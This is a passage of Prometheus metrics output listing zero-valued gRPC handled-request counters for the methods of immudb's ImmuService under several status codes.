0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"CreateDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"CreateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"CurrentRoot\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"DatabaseList\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"DeactivateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"Dump\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"server_stream\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"Get\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"GetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"GetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"GetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"GetUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"Health\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"History\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"HistorySV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"IScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"IScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"Inclusion\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"ListUsers\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"Login\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"Logout\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"Reference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"SafeGet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"SafeGetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"SafeReference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"SafeSet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"SafeSetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"SafeZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"Scan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"ScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"Set\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"SetActiveUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"SetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"SetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"SetPermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"SetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"UpdateAuthConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"UpdateMTLSConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"UseDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"ZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"ZScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OK\",grpc_method=\"ZScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"ByIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"ByIndexSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"BySafeIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"ChangePassword\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"ChangePermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"Consistency\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"Count\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"CreateDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"CreateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"CurrentRoot\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"DatabaseList\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"DeactivateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"Dump\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"server_stream\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"Get\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"GetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"GetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"GetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"GetUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"Health\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"History\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"HistorySV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"IScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"IScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"Inclusion\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"ListUsers\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"Login\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"Logout\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"Reference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"SafeGet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"SafeGetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"SafeReference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"SafeSet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"SafeSetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"SafeZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"Scan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"ScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"Set\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"SetActiveUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"SetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"SetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"SetPermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"SetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"UpdateAuthConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"UpdateMTLSConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"UseDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"ZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"ZScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"OutOfRange\",grpc_method=\"ZScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"ByIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"ByIndexSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"BySafeIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"ChangePassword\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"ChangePermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"Consistency\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"Count\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"CreateDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"CreateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"CurrentRoot\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"DatabaseList\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"DeactivateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"Dump\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"server_stream\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"Get\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"GetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"GetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"GetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"GetUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"Health\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"History\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"HistorySV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"IScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"IScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"Inclusion\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"ListUsers\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"Login\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"Logout\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"Reference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"SafeGet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"SafeGetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"SafeReference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"SafeSet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"SafeSetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"SafeZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"Scan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"ScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"Set\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"SetActiveUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"SetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"SetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"SetPermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"SetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"UpdateAuthConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"UpdateMTLSConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"UseDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"ZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"ZScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"PermissionDenied\",grpc_method=\"ZScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"ByIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"ByIndexSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"BySafeIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"ChangePassword\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"ChangePermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"Consistency\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"Count\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"CreateDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"CreateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"CurrentRoot\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"DatabaseList\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"DeactivateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"Dump\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"server_stream\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"Get\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"GetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"GetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"GetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"GetUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"Health\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"History\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"HistorySV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"IScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"IScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"Inclusion\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"ListUsers\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"Login\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"Logout\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"Reference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"SafeGet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"SafeGetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"SafeReference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"SafeSet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"SafeSetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"SafeZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"Scan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"ScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"Set\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"SetActiveUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"SetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"SetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"SetPermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"SetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"UpdateAuthConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"UpdateMTLSConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"UseDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 